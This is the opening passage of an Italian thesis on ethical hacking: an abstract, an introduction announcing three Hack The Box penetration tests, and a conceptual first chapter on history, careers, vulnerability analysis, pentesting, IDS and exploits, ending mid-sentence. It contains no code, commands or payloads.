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"Noi facciamo uso di un servizio gia esistente che non costerebbe nulla se non fosse controllato da
approfittatori ingordi, e voi ci chiamate criminali. Noi esploriamo...e ci chiamate criminali. Noi
cerchiamo conoscenza...e ci chiamate criminali. Noi esistiamo senza colore di pelle, nazionalita, credi
religiosi e ci chiamate criminali. Voi costruite bombe atomiche, finanziate guerre, uccidete, ingannate e
mentite e cercate di farci credere che lo fate per il nostro bene, e poi siamo noi i criminali.”

Loyd Blankenship, “The Hacker Manifesto”



Sommario

La cybersecurity e diventata una componente cruciale del mondo digitale contemporaneo,
in cui la nostra vita quotidiana e I’economia globale sono sempre pili interconnesse attraverso
Internet e le tecnologie digitali. La sicurezza delle informazioni & diventata una priorita
essenziale per individui, aziende e governi in tutto il mondo. La cybersecurity & cruciale
per rilevare e mitigare minacce, per evitare perdite finanziarie, danni alla reputazione e
interruzioni delle attivita. In questo contesto, i penetration test giocano un ruolo fondamen-
tale nell’identificare vulnerabilita e debolezze nei sistemi e nelle infrastrutture. L'obiettivo
principale di questa tesi ¢ introdurre il concetto di ethical hacking, partendo dai cenni storici,
raggiungendo i concetti chiave per finire all'impiego nel sociale. Inoltre, verranno introdotte
una serie di tecnologie coinvolte e di strumenti specifici nel settore, i quali verranno messi in
pratica e sfruttati in tre scenari differenti di penetration test.

Keyword: Digitalizzazione; Cybersecurity; Penetration Test; Vulnerabilita; Ethical Hacking;
Sistemi Informatici; Sicurezza Informatica.
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Introduzione

Nella societa moderna, la sicurezza informatica ¢ la pratica pit diffusa per proteggere i
sistemi critici e le informazioni sensibili dagli attacchi digitali. Note anche come sicurezza
IT (Information Technology), le misure della sicurezza informatica sono progettate per
combattere le minacce contro sistemi in rete e applicazioni, che hanno origine sia all’interno
che all’esterno di un’organizzazione.

Nel 2020, il costo medio di una violazione dei dati era di 3,86 milioni di dollari a livello
globale e di 8,64 milioni di dollari negli Stati Uniti. Tali costi comprendono le spese di
individuazione e risposta alla violazione, il costo del tempo di inattivita e del mancato
ricavo e il danno reputazionale a lungo termine per un’azienda ed il suo marchio. I criminali
informatici prendono di mira le informazioni che consentono 1’identificazione personale
(Personally Identifiable Information, PII) dei clienti - nomi, indirizzi, numeri identificativi
nazionali (ad esempio, Numeri di Sicurezza Sociale negli Stati Uniti o codici fiscali in Italia),
informazioni sulle carte di credito - e rivendono tali record nei mercati digitali non autorizzati.
Spesso, le PII compromesse causano la perdita di fiducia da parte del cliente, sanzioni
normative e, addirittura, azioni legali.

La complessita dei sistemi di sicurezza, dovuta a tecnologie disparate e alla mancanza di
competenze interne, puo amplificare tali costi. Tuttavia, le organizzazioni con una strategia
di sicurezza informatica completa, governata da best practice e automatizzata utilizzando
analitica avanzata, Al e Machine Learning, possono combattere le minacce informatiche
in modo pit efficace e ridurre il ciclo di vita e I'impatto delle violazioni quando queste si
verificano.

La presente tesi e stata redatta in modo tale da mettere in risalto gli aspetti chiavi dell’E-
thical Hacking, 1’attivita che consiste nel simulare attacchi informatici, denominati penetration
test, per individuare i punti deboli dei sistemi aziendali e risolvere le falle. Gli hacker etici,
denominati anche “white hat”, in contrapposizione ai malintenzionati “black hat”, sono
degli esperti di sicurezza informatica al servizio di aziende e amministrazioni pubbliche, per
aiutarle a proteggere in modo piu efficace le proprie infrastrutture.

Ingaggiati proprio per penetrare nel sistema informatico, gli ethical hacker sfruttano le
loro competenze per trovare eventuali debolezze nelle componenti hardware e software
dell'infrastruttura informatica che potrebbero essere utilizzate dai criminali informatici. L'o-
biettivo finale del loro agire e scoprire le vulnerabilita del sistema, effettuando dei penetration
test, in modo da poterle riparare nell’interesse dell’organizzazione e, pit1 in generale, di
chiunque utilizzi quel determinato software.

All’interno di questa trattazione, sono stati analizzati tre penetration test che corrispon-
dono a tre diversi scenari in cui sono state scelte come bersaglio delle macchine fornite



dalla piattaforma web denominata Hack The Box. Il fattore comune di questi scenari ¢ il
sistema operativo Linux, ma, in ognuno di essi, vi sono delle vulnerabilita differenti e, di
conseguenza, si riscontra 1'uso di svariati software che rivestono un ruolo coadiuvante nella
fase di exploitation. Nella trattazione, questi ultimi sono stati descritti in modo adeguato per
fornire un’idea chiara del loro funzionamento.

Il sistema operativo in cui sono stati effettuati i penetration test suddetti e Kali Linux,
ambiente privilegiato per questo tipo di test. La sua popolarita deriva da una combinazione
di caratteristiche e vantaggi che lo rendono uno strumento essenziale per gli ethical hacker di
tutto il mondo. Innanzitutto, esso offre una vasta gamma di strumenti di penetration testing
preinstallati, che spaziano dalla scansione delle vulnerabilita all’hacking etico, dall’analisi
dei pacchetti di rete alla manipolazione delle password.

Un altro punto di forza di Kali Linux e la facilita d"uso. La distribuzione & progettata per
essere intuitiva ed e dotata di un’interfaccia user-friendly che consente agli utenti di accedere
facilmente agli strumenti di cui hanno bisogno. Questo e particolarmente importante quando
si lavora in situazioni ad alta pressione, dove il tempo e un fattore critico.

Un altro motivo per cui Kali Linux € scelto per i penetration test ¢ la sua costante manuten-
zione e il suo costante aggiornamento in quanto la distribuzione e costantemente monitorata
e aggiornata dalla comunita di sicurezza informatica, garantendo che gli utenti abbiano
accesso agli ultimi aggiornamenti di sicurezza e alle versioni pit1 recenti degli strumenti di
hacking etico.

La presente tesi &€ composta da sette capitoli; in particolare:

¢ Nel Capitolo 1 verranno introdotte la definizione e la storia dell’ethical hacking. In
particolare si definisce la figura dell’hacker etico, mettendo in risalto I'importanza del
lavoro svolto e la distinzione tra Black Hat Hacker, Gray Hat Hacker e White Hat Hacker.
Successivamente, si danno dei cenni storici riguardanti I’ethical hacking, sottolinean-
done le evoluzioni principali nel corso degli anni. Proseguendo, vengono descritti i
principali concetti che caratterizzano 1’ethical hacking e il suo impiego nel sociale.

* Nel Capitolo 2 vengono discusse le tecnologie e gli strumenti coinvolti nei penetration
test affrontati nei capitoli successivi, in modo tale da offrire una descrizione specifica
dei software utilizzati nelle varie fasi dei penetration test.

¢ Nel Capitolo 3 viene effettuato il primo penetration test sulla macchina denominata
Pilgrimage, basata sul sistema operativo Linux. Dopo la raccolta delle informazioni
e I'analisi delle vulnerabilita, si effettua un exploit, sfruttando una CVE (Common
Vulnerabilities and Exposures), per ottenere la User Flag e la Root Flag.

¢ Nel Capitolo 4 viene effettuato il secondo penetration test sulla macchina denominata
Topology, basata sul sistema operativo Linux. Dopo la raccolta delle informazioni e
'analisi delle vulnerabilita, si effettua un exploit, sfruttando una LaTex Injection, per
ottenere 1’accesso alla Shell Utente e alla Shell Root.

* Nel Capitolo 5 viene effettuato il terzo penetration test sulla macchina denominata
Sandworm, basata sul sistema operativo Linux. Dopo la raccolta delle informazioni e
I'analisi delle vulnerabilita, si effettua un exploit per ottenere la User Flag e la Root
Flag.

* Nel Capitolo 6 viene effettuata una breve discussione sul lavoro svolto.

* Nel Capitolo 7 vengono tratte le conclusioni e vengono forniti alcuni possibili sviluppi
futuri.



capiToLo 1

Introduzione all’Ethical hacking

Questo capitolo introduttivo offre un’immersione approfondita nei fondamenti dell’ethical hacking, dalla
sua definizione e storia fino ai concetti fondamentali e all'impatto sociale. Attraverso l'esplorazione di questi
elementi chiave, si aprono le porte a una comprensione completa di come I'ethical hacking si inserisca nel
panorama sempre piit complesso della sicurezza informatica.

Scavare nella storia dell’ethical hacking ci consente di comprendere come questo campo sia emerso dalla
necessita di contrastare le minacce informatiche crescenti: dai primi tentativi di esplorare le vulnerabilita dei
sistemi informatici, fino alla formulazione dell’etica e delle pratiche guidate dalla responsabilita, I’evoluzione
dell’ethical hacking é un viaggio che rivela le radici di una disciplina dedicata a proteggere e migliorare la
sicurezza digitale.

1.1 Definizione e Storia

Nell’era digitale in cui la tecnologia permea ogni aspetto delle nostre vite, la sicurezza
informatica e diventata una priorita imprescindibile. L'aumento esponenziale delle minacce
informatiche e delle vulnerabilita dei sistemi ha posto 'attenzione sulla necessita di difendere
i dati sensibili e le risorse digitali. In questo contesto, ’ethical hacking si e affermato come uno
strumento cruciale nella lotta contro le minacce informatiche, rappresentando un’interessante
congiunzione tra la sfida di penetrare i sistemi e la responsabilita di proteggerli.

1.1.1 Chi é I'hacker etico

Un hacker etico € un esperto di sicurezza informatica capace di simulare attacchi a
reti, infrastrutture IT (Information Technology), siti web o applicazioni, per identificare
e risolvere eventuali vulnerabilita e migliorarne la sicurezza. Questa figura mette le sue
capacita a disposizione di chi, come le aziende, deve difendersi da azioni ostili finalizzate a
danneggiare la riservatezza, l'integrita e la disponibilita di dati memorizzati o elaborati da
sistemi informatici.

Infatti, ’hacking etico ¢ la pratica che consiste nell’eseguire valutazioni del rischio per la
sicurezza informatica, utilizzando le stesse strategie che usano gli hacker, ma con 'approva-
zione e l'autorizzazione dell’organizzazione in cui si sta operando. L'obiettivo ¢ individuare i
potenziali punti deboli di un’applicazione, di un sistema informatico o dell’infrastruttura
di un’azienda per rafforzare la protezione, accrescere la sicurezza dei dati, diminuire i ri-
schi informatici, contrastare meglio le possibili violazioni e ridurre il potenziale danno di
reputazione.
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In altre parole, I’azienda consente agli hacker etici — che possono essere freelance, im-
piegati di un’agenzia specializzata in servizi di cybersecurity, oppure dipendenti interni-
di svolgere le attivita utili per testare le difese del sistema (penetration test) allo scopo di
sviluppare soluzioni per prevenire le violazioni dei dati. Pertanto, a differenza del cracking,
cioé l’accesso non autorizzato a un sistema informatico attraverso varie tecniche, l’hacking
etico & un processo pianiﬁcato, approvato e, soprattutto, legale.

1.1.2 Cenni storici dell’ethical hacking

La storia degli hacker ha inizio nell'inverno 1958-59 al Massachussets Institute of Tech-
nology (MIT) di Cambridge, il quale ospitava al suo interno vari gruppi di studenti con
interessi comuni fuori dalle ore di studio. Uno di questi gruppi era il "Tech model railroad
club (TMRC)", la cui stanza era quasi interamente occupata da un enorme plastico ferroviario
molto dettagliato e perfettamente funzionante grazie ad un immenso intreccio di cavi, rele
ed interruttori situati sotto il modello. Altri studenti invece, quelli che facevano parte della
"Signal&Power Subcommittee" (S&P - sottocommissione per lo studio dei segnali e dell’ener-
gia), si occupavano di tutto cio che accadeva sotto il modellino ferroviario. La compagnia dei
telefoni Western Electric, sponsor dellistituto, procurava allo stesso i ricambi e i materiali
necessari al corretto funzionamento del sistema telefonico universitario, ma non di rado,
pero, qualche pezzo sfuggiva al controllo dei responsabili e finiva per essere riadattato ai
nuovi scopi del club.

Con grande impegno e sincera passione, I’elaborato sistema che faceva muovere i trenini
e funzionare i singoli scambi era continuamente testato, smontato, riassemblato, riparato
e perfezionato, tanto che un progetto intrapreso o un prodotto costruito non soltanto per
adempiere ad uno scopo specifico ma che portasse con sé il piacere scatenato della pura
partecipazione era detto "hack".

1960-70

Fino agli ultimi anni sessanta la comunita hacker del MIT, impegnata ad "hakkare" le
macchine di cui disponeva, studiandone cioe il sistema, progettando assemblatori, debugger,
programmi migliori, al fine di renderle sempre pit efficienti, ebbe modo di crescere indistur-
bata. Nel frattempo l"'hakkaggio" stava coinvolgendo sempre piu individui, grazie anche
allo svilupparsi, dal 1965, nella terza generazione di computer, contrassegnata dall"utilizzo di
circuiti integrati a media e larga scala, dispositivi di memoria di massa con capacita di memo-
rizzazione assai elevata e periferiche piti sofisticate ed efficienti. Questo permise 1'utilizzo di
mini e microcalcolatori negli uffici, nelle aziende, ed i calcolatori personali vennero introdotti
sul mercato dei beni di largo consumo.

Gli anni settanta videro I'applicazione dell’etica hacker su scala maggiore: un personaggio
leggendario di questo periodo & John T.Draper, alias Captain Crunch, che adottd questo
pseudonimo da una marca di cornflake che dava in omaggio un fischietto. Draper scopri
che quest’ultimo emetteva una frequenza di 2600 hertz la quale, quando una linea telefonica
diretta e inattiva, viene inviata all’altro estremo: entrambi gli estremi inviano questa frequenza
I'un I'altro. Con questo segnale era, percio, possibile effettuare telefonate in qualsiasi parte del
mondo gratis: si trattava dell’inizio del phone-phreaking, ’attivita di chi studia, sperimenta o
sfrutta i telefoni, le compagnie e i sistemi telefonici ricercando falle all’interno della tecnologia
che permettano usi non previsti dal sistema.

1980-90

Questi sono gli anni in cui la febbre del computer, iniziata in piccoli negozi di software,
esplode nei grandi magazzini e nei punti vendita specializzati, proponendo prodotti sia
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professionali che familiari. I media si pongono domande sulla mania dei computer diffusasi
come un virus e su come considerare i giovanissimi che rimangono incollati alla tastiera per
ore. E gli hacker? Loro avevano contribuito a questa espansione ed alla creazione di nuove
societa di hardware e software. Steve Wornak, un hacker puro, cred I’Apple II il quale fu
lanciato sul mercato da Steve Jobs, non propriamente un hacker, che porto Apple ad essere
una delle industrie pitt dinamiche del settore, con sorpassi e rimonte clamorosi con I'IBM, e
nel 1980, ad essere quotata in borsa.

1990-2000

In questo periodo si inizia a notare la differenza tra chi difende il diritto d’autore (molti
hacker sono anche autori di software) e chi, invece, lavora per diffondere copie pirata dei
software protetti. Possiamo dire che in questa epoca si iniziano ad identificare hacker "buoni"
e hacker "cattivi". Sulla scena criminale dell’hacking del periodo 1990-2000 spicca il nome
di Kevin David Mitnick AKA Condor, un programmatore, phreaker, cracker, ed ingegnere
sociale statunitense che si & distinto per avere inventato la tecnica dell’IP spooﬁng, tecnica
informatica in cui un individuo o un’applicazione manipola I'indirizzo IP (Internet Protocol)
di origine nei pacchetti di dati trasmessi su una rete al fine di nascondere la sua vera identita
o di indurre in errore il destinatario, e per le sue notevoli capacita di ingegnere sociale,
avendo eseguito alcune tra le pit ardite incursioni nei computer del governo degli Stati Uniti.
Catturato, fu condannato a svariati anni di carcere e, attualmente, & un famoso consulente
per la sicurezza.

In Italia, sempre a cavallo degli gli anni 90 e i primi anni del 2000, per una intrusione
nella rete della Banca d’Italia viene arrestato Raoul Chiesa AKA Nobody (Figura 1.1) e Matteo
Del Mistro AKA neXus nell’operazione ICE-TRAP: avevano lasciato un messaggio con scritto
“questa rete non e sicura. Firmato Falange Armata".

“Ho hackerato la Banca d’Italia solo per dimostrare la loro vulnerabilita” ha affermato in
un’intervista Raoul Chiesa, ad oggi ethical hacker. Successivamente ha aggiunto: "Eravamo
una “banda” di pionieri, adolescenti con tantissimo tempo libero e, soprattutto, una valanga
di curiosita per tutto quello che erano le telecomunicazioni. Poi arrivo il Cybercrime, o meglio,
il Crimine Organizzato e si scopri che con il "cyber” si potevano fare un sacco di soldi. Ecco,
questa & la vera differenza tra quei pionieri di allora, mossi dalla sola curiosita, dalla sfida,
dal fare “ragazzate” ad oggi, criminali e criminalita, mischiati con la cosiddetta “Cyber War”,

LU

o “Information Warfare”." .

Figura 1.1: L'ethical hacker italiano Raoul Chiesa
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1.1.3 Impieghi dell’hacker etico

Un Hacker etico puod trovare impiego come Cyber Security Consultant (per societa di
consulenza informatica o come libero professionista), oppure come dipendente del reparto IT
di aziende di vario tipo, ricoprendo la ﬁgura di responsabile per la sicurezza informatica. Ci
sono, poi, opportunita di lavoro anche nella Pubblica Amministrazione.

Gli Hacker lavorano tipicamente al computer, in ufficio, oppure da remoto, con orari di
lavoro che variano a seconda dei progetti e degli attacchi informatici in corso.

La domanda di Hacker "buoni" o "White Hat" & in costante crescita: ogni impresa, piccola
o grande che sia, ha un insieme di dati in gestione, relativi all'impresa stessa o ai propri
clienti: ad esempio nomi, username e password, dati di contatto, informazioni personali,
coordinate bancarie, fatture e documenti commerciali. Di questo insieme molto ampio di
informazioni, ’azienda deve assicurare un trattamento riservato, anche in ottemperanza alle
disposizioni di legge in materia di privacy e protezione dei dati personali.

Nel caso di un vero e proprio attacco hacker mosso da intenzioni malevolj, le conseguenze
negative possono essere di vario tipo e di diversa gravita: da una caduta della reputazione
aziendale, alla perdita di dati che mettono in pericolo la business continuity, o addirittura a
sanzioni economiche per il mancato rispetto della legge riguardante la privacy. Per questo &
cosi importante per le aziende verificare che il proprio sistema informatico sia sicuro e che i
dati siano protetti, grazie all’aiuto di Ethical Hacker esperti.

Solitamente sono le aziende di grandi dimensioni quelle che investono di piti in sicurezza
informatica, per ridurre al minimo il rischio di perdita 0 manomissione dei dati, oppure realta
che devono gestire dati sensibili come banche, assicurazioni, strutture sanitarie, agenzie ed
enti governativi (ad esempio nel settore della Difesa), noncheé societa IT che raccolgono e
analizzano enormi quantita di dati sui propri utenti.

1.1.4 Utilita e metodi di prevenzione

Come detto in precedenza, gli hacker etici lavorano principalmente al fianco di organizza-
zioni, governi e imprese (aziende del settore tecnologico e industriale, banche, assicurazioni),
per i quali cercano falle di sicurezza ed errori di programmazione o bug,.

Una volta ingaggiato, 1’Ethical Hacker o Penetration Tester, raccoglie informazioni sui
sistemi IT da mettere alla prova: protocolli di sicurezza, indirizzi IP, database, sedi fisiche di
server e reti informatiche, personale incaricato alla sicurezza, e sviluppa un piano di attacco.
Gli attacchi possono essere sia di tipo virtuale, ad esempio attraverso 1'uso di spyware
di diverso tipo e worm progettati per introdursi nel sistema e consentire di controllare il
computer da remoto, sia di tipo fisico (furto di unita di memoria, interruzione di corrente,
danneggiamento delle apparecchiature). Vi sono anche pratiche di social engineering o
social hacking, ovvero tecniche di manipolazione delle persone per la raccolta illecita di
informazioni, come PIN o password.

Per raggiungere il suo obiettivo, un Hacker ha a disposizione un ampio ventaglio di
tecniche e tools: penetration test, vulnerability assessment di infrastrutture IT e applicazioni
web, simulazione di attacchi DoS (Denial of Service) o DDoS (Distributed Denial of Service),
diffusione di malware, virus e trojan, tecniche di phishing,.

Concluso l'attacco, I’Ethical Hacker prepara un report con un’analisi dettagliata delle vul-
nerabilita riscontrate e dei punti deboli del sistema e propone, di conseguenza, un remediation
plan, cioé una serie di soluzioni per migliorare il livello delle difese informatiche. Esempio di
soluzioni sono firewall pit1 efficaci, sistemi di autenticazione pit forti (strong authentication),
sistemi di alert, strutture fisiche di protezione dell’hardware, corsi di formazione per aumen-
tare la consapevolezza del personale riguardo alla cybersecurity e alle minacce informatiche,
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e altro ancora. Una volta implementate queste misure, sara nuovamente compito dell’'Hacker
testare la loro efficacia.

Riassumendo quindi, I’Ethical Hacker pensa e opera come se fosse un attaccante, per poi
poter intervenire come difensore del sistema informatico che ha tentato di sabotare. Lo scopo
e quello di fornire un quadro del livello di rischio reale a cui un’organizzazione e esposta e
studiare adeguati provvedimenti e contromisure.

1.2 Concetti di ethical hacking

Esploriamo in profondita i concetti fondamentali dell’ethical hacking, illuminando le
strategie, le metodologie e le implicazioni etiche che caratterizzano questo campo in modo
cruciale.

1.2.1 Vulnerability Analysis

Il primo concetto di cui vale la pena parlare e 1’analisi delle vulnerabilita, nota anche
come vulnerability analysis o vulnerability assessment.

Cos’e una vulnerabilita? La vulnerabilita e intesa come una componente di un sistema in
corrispondenza della quale le misure di sicurezza sono assenti, ridotte 0 compromesse, il che
rappresenta un punto debole che consente a un eventuale aggressore di iniettare del codice
malevolo compromettendo la sicurezza dell’intero sistema.

Se questo avviene, I'attaccante avra la chiave universale per accedere all’ infrastruttura,
permettendo l'estrapolazione di dati sensibili che possono causare un danno reputazionale
importante.

L'effettiva analisi delle vulnerabilita & composta da delle scansioni che vengono effettuate
sulle Web app o sulle reti aziendali mediante strumenti professionali, i cosiddetti vulnerability
scanner. Tramite questi ultimi si possono effettuare i seguenti tipi di scansioni:

* scansioni relative al networking e quindi ai dispositivi di rete;
¢ scansioni relative agli host/server;

® scansioni speciﬁche per le reti wireless;

* scansioni relative alle Web application;

* scansioni relative ai database.

Le fasi della Vulnerability Analysis, come mostrato nella Figura 1.2, sono le seguenti:

1. Test: questa fase iniziale coinvolge la raccolta di informazioni dettagliate sul sistema o
sull’applicazione da esaminare; vengono utilizzati strumenti di scansione per identi-
ficare potenziali vulnerabilita conosciute. Questi strumenti possono cercare bug noti,
configurazioni errate o altre debolezze che potrebbero essere sfruttate.

2. Analisi delle Vulnerabilita: una volta individuate le possibili vulnerabilita, vengono
analizzate in dettaglio per comprendere come potrebbero essere sfruttate dagli aggres-
sori. Questa fase comporta, spesso, la valutazione delle implicazioni e delle possibili
conseguenze di ciascuna vulnerabilita.

3. Assessment: le vulnerabilita individuate vengono classificate in base alla loro gravita e
al loro potenziale impatto sulla sicurezza. Questa classificazione aiuta a stabilire quali
vulnerabilita dovrebbero essere affrontate per prime, tenendo conto dei rischi e delle
priorita dell’organizzazione.
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4. Remediation: consiste nell'implementazione di misure correttive e di mitigazione per
risolvere o ridurre le vulnerabilita identificate durante 1’analisi. L'obiettivo principale
di questa fase & di rendere il sistema o I"applicazione piu sicuri, riducendo al minimo i
rischi associati alle vulnerabilita e prevenendo potenziali attacchi.

Assessment Remediation

Figura 1.2: Le fasi della Vulnerability Analysis

Ovviamente il Vulnerability Assessment ha un ruolo fondamentale nell’Ethical Hacking
in quanto costituisce uno dei passi iniziali del processo di penetration testing, parte integrante
dell’ethical hacking. Gli ethical hacker eseguono questa analisi per comprendere meglio il
paesaggio delle minacce e le debolezze presenti nei sistemi presi in esame, e cid permette
loro di identificare i punti pit critici che potrebbero essere sfruttati dagli aggressori e di
sviluppare strategie per rafforzare le difese.

I benefici dell’ Analisi delle Vulnerabilita sono i seguenti:

* Miglioramento della Sicurezza: identificare e risolvere le vulnerabilita permette di au-
mentare la sicurezza globale dei sistemi e delle applicazioni, riducendo la superﬁcie di
attacco per potenziali aggressori.

. Conformit{i alle Normative: molte normative e regolamentazioni richiedono 1'analisi
periodica delle vulnerabilita come parte delle pratiche di sicurezza informatica.

* Prevenzione degli Attacchi: risolvere le vulnerabilita prima che possano essere sfruttate
da attacchi malevoli contribuisce a prevenire perdite di dati e danni.

1.2.2 Penetration testing

Il secondo concetto cardine dell’ethical hacking e quello dei penetration test (pentest o PT)
che rappresentano la tecnica di sicurezza informatica utilizzata per identificare ed esaminare
le vulnerabilita del sistema e le possibili conseguenze derivabili da un’intrusione.

Un pentest prevede la simulazione di attacchi reali per valutare il rischio connesso a
potenziali violazioni della sicurezza; e in particolare, i tester non scoprono solo vulnerabilita
che potrebbero essere utilizzate dagli aggressori ma le sfruttano per valutare cosa potrebbero
guadagnare tali utenti malevoli dopo attacchi di successo.

L'idea alla base dei penetration test ¢, quindi, I identificazione e 1'utilizzo autorizzato e
legale di falle all’interno di una macchina, usufruendo degli stessi strumenti e tecniche di un
potenziale aggressore. In questo modo e possibile effettuare delle valutazioni in merito alla
solidita delle difese di un sistema e, quindi, agire in modo preventivo per evitare attacchi
sulle vulnerabilita.

I PT vengono eseguiti da ﬁgure chiamate "Ethical Hacker", i quali utilizzano mentalita e
tecniche degli attaccanti, sfruttando quelle che vengono definite tecniche di Ethical Hacking.
Tali figure sono capaci, percio, di simulare, anticipare e prevenire attacchi informatici. L'Ethi-
cal Hacker &, dunque, in grado di infiltrarsi in reti protette senza autorizzazioni attraverso i
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PT, di testare l'efficacia dei sistemi di sicurezza aziendale e di valutare 'efficacia delle misure
adottate fino a quel momento.

Il pentest risulta essere una misura proattiva di sicurezza informatica perché comporta
miglioramenti coerenti che si basano sui report generati dal test. Cio differisce dagli approcci
non proattivi, che mancano della lungimiranza per migliorare le debolezze man mano che si
presentano. Ad esempio, un approccio non proattivo implicherebbe che un’azienda aggiorni
il proprio firewall solo dopo che si verifica una violazione dei dati. L’obiettivo delle misure
proattive, come il PT, invece, & quello di ridurre al minimo il numero di aggiornamenti
retroattivi e di massimizzare la sicurezza di un’organizzazione.

Come mostrato nella Figura 1.3, il lavoro deve essere attentamente documentato con dei
report, che tangano traccia dei mezzi utilizzati dai Pen Tester per ottenere le informazioni,
dei passaggi e dei processi effettivi utilizzati per eseguire i test e, infine, dei risultati osservati.
In questo modo, gli sviluppatori possono riprodurre in un secondo momento le vulnerabilita
e sfruttarle, nell’ottica di studiarle e risolverle.

I penetration test, inoltre, risultano essere differenti dal Vulnerability Assessment, cioé
I'individuazione delle vulnerabilita; spesso tali processi vengono assimilati in un unico
contesto, quindi € opportuno sottolinearne la distinzione.

Una valutazione delle vulnerabilita consiste nella revisione di sistemi e servizi per indivi-
duare eventuali problemi di sicurezza che potrebbero essere sfruttati, mentre un penetration
test compie un passo successivo, traendo vantaggio dalle vulnerabilita individuate con la
valutazione.

Threat
Modeling

Post
Exploitation

Vulnerability
Analysis

Reporting

Exploitation

Figura 1.3: Fasi di un Penetration Test

1.2.3 Intrusion Detection System (IDS)

L'Intrusion Detection System (IDS) & il terzo concetto base dell’hacking etico. Traducibile
in italiano come "Sistema di Rilevamento delle Intrusioni”, ¢ un componente chiave nella sicu-
rezza informatica che monitora e analizza I’attivita di rete e dei sistemi al fine di identificare
potenziali attivita malevoli o non autorizzate.

Esistono due tipi principali di IDS:

* IDS Basato su Firme: questo tipo di IDS rileva le intrusioni confrontando i modelli di
traffico con firme note di attacchi noti. Queste firme sono rappresentative dei comporta-
menti tipici degli attacchi noti, come virus, worm o exploit speciﬁci. Quando I'IDS trova
una corrispondenza tra il traffico rilevato e una firma conosciuta, segnala un potenziale
attacco.

* IDS Basato su Anomalie: questo tipo di IDS monitora costantemente il comportamen-
to normale della rete e dei sistemi. Quando viene rilevato un comportamento che
si discosta significativamente dai modelli di comportamento normali, 'IDS segnala
un’anomalia. Questo approccio & utile per rilevare attacchi sconosciuti o nuovi che
potrebbero non avere firme conosciute.

Un IDS lavora seguendo questi passaggi principali:
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Monitoraggio: 'IDS raccoglie dati dal traffico di rete o dalle attivita dei sistemi e li
analizza per individuare anomalie o firme di attacchi.

Analisi: 'IDS confronta i dati raccolti con le firme conosciute o con i modelli di compor-
tamento normale per identificare eventuali deviazioni. In caso di corrispondenze, I'IDS
genera un allarme.

Allerta; una volta che I'IDS ha identificato una possibile intrusione, genera un avviso o

una notifica che puo essere visualizzata dagli amministratori di sistema o dal personale
IT.

Risposta: gli amministratori di sistema o il personale responsabile possono rispondere
alle allerte intraprendendo azioni come l'isolamento del dispositivo colpito, il blocco
dell’indirizzo IP dell’attaccante o altre contromisure adeguate.

I sistemi IDS possono essere divisi in due categorie, a seconda di dove sono posizionati i
sensori per il rilevamento delle intrusioni (sulla rete o su un host/endpoint):

® NIDS (Network Intrusion Detection System): poiché gli accessi non autorizzati devono

passare necessariamente attraverso il protocollo TCP /1P ovvero 'UDP (User Datagram
Protocol), i sistemi IDS basati su rete analizzano i pacchetti ID, vigilando l'intero traffico
dati della rete. In questo modo possono integrare il firewall, ove questo non blocchi i
pacchetti per errori di conﬁgurazione o regole poco restrittive. Sono, inoltre, in grado di
monitorare anche il comportamento degli utenti interni alla rete.

HIDS (Host based Intrusion Detection System): sono tipicamente degli strumenti che sono
installati su di una macchina (host) e hanno lo scopo di proteggere il PC interessato (un
sorta di “super-antivirus”). Possono integrare anche funzioni di firewall, sandboxing, e
via dicendo. Si parla, quindi, di Intrusion Detection System distribuiti. Oggi si tende ad
implementare IDS che combinino i due sistemi, attraverso un controllo sia su rete sia su
host, garantendo in questo modo un maggiore tasso di rilevamento degli attacchi. Si
definiscono, in questo caso, come sistemi ibridi o Hybrid Intrusion Detection System.

Come operano gli IDS?

I diversi sistemi IDS, comunque siano implementati, funzionano nello stesso modo come
mostrato in Figura 1.4, rilevando le intrusioni nei punti in cui i sensori sono posizionati ed
avvisando gli analisti della sicurezza della scoperta di un’eventuale minaccia. Le tecniche
di rilevamento d’intrusione si basano sui dati raccolti dai sensori (sonde) che vengono
poi processati dal server (motore). E, pertanto, fondamentale progettare accuratamente il
posizionamento dei sensori; questi possono essere posti nei punti critici del sistema, ovvero
in quelli dove si ritiene pit1 probabile un’intrusione, in particolare:

* neirouter e gateway;

* nei punti piti esposti della rete (server web, servizi esposti all’esterno);

* ove si trovano dati sensibili della rete: tipicamente, server interni e database aziendali

(che rappresentano un obiettivo in genere ambito dall’attaccante).
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Terminal Router

Figura 1.4: Funzionamento degli Intrusion Detection System

Questa fase progettuale deve tener presente un concetto basilare nella cyber security: il
cosiddetto “attacker mindset”, cioe “pensa come pensa l'attaccante”, o — citando Sun Tzu
(I"autore del saggio “L’arte della guerra”) — “conosci il tuo nemico”.

Le tecniche di rilevazione in real-time possono essere, poi, suddivise in due categorie:

1. Misuse Detection: confronta una serie di segni caratteristici (signature action) delle
varie tipologie di scenari di intrusione conosciute (ad esempio, cambi di proprieta di
un file, determinate stringhe di caratteri inviate ad un server, etc.). Essi presentano
il vantaggio di generare un numero relativamente basso di “falsi positivi” e sono
relativamente affidabili e veloci. Per contro non sono in grado di rilevare qualsiasi
tipologia di intrusione se essa non e presente nei pattern di intrusione conosciuti ed
impostati nel sistema.

2. Anomaly Detection: serve per sopperire ai limiti della Misuse Detection di non riuscire
a rilevare un’intrusione nel caso che questa usi un attacco non ancora conosciuto.
In pratica si analizza il sistema alla ricerca di anomalie rispetto ai profili di utilizzo
“normale” del sistema ricavati da misure statistiche ed euristiche sulle caratteristiche
dello stesso (ad esempio, carico di utilizzo anomalo della CPU di una macchina, traffico
dati input/ output di un particolare nodo, etc.). Sono piu flessibili ed in grado di
“imparare” con algoritmi di Intelligenza Artificiale, ma possono dare un numero pit
elevato di falsi positivi. Inoltre, il monitoraggio del sistema e molto pesante dato che
& necessario tenere sotto controllo molti fattori contemporaneamente per riuscire a
classificare correttamente un attacco.

1.2.4 Exploit

Si arriva a trattare il quarto concetto saliente dell’hacking etico: I'exploit. Un exploit e
un programma informatico, un software o una sequenza di comandi che sfrutta un errore o
una vulnerabilita per provocare un certo comportamento nel software, nell’hardware o in
qualsiasi dispositivo elettronico.

Tali comportamenti comprendono, in genere, 1'assunzione del controllo di un sistema, la
concessione di privilegi di amministratore a un intruso o l'avvio di attacchi di negazione del
servizio (DoS o DDoS).

Gli exploit zero-day sono falle nella sicurezza dei software non conosciute prima dell’attacco.
Dal momento del primo attacco fino al momento in cui la vulnerabilita viene risolta, ¢’@ un
periodo di tempo che gli hacker possono sfruttare per ottenere il massimo impatto possibile
su programmi, dati, altri computer o l'intera rete. Gli exploit che sfruttano tale tipo di
vulnerabilita sono, pertanto, chiamati exploit zero-day.

Se I'attacco avviene su vasta scala e sono trascorsi pochi giorni dal giorno zero, ¢ probabile
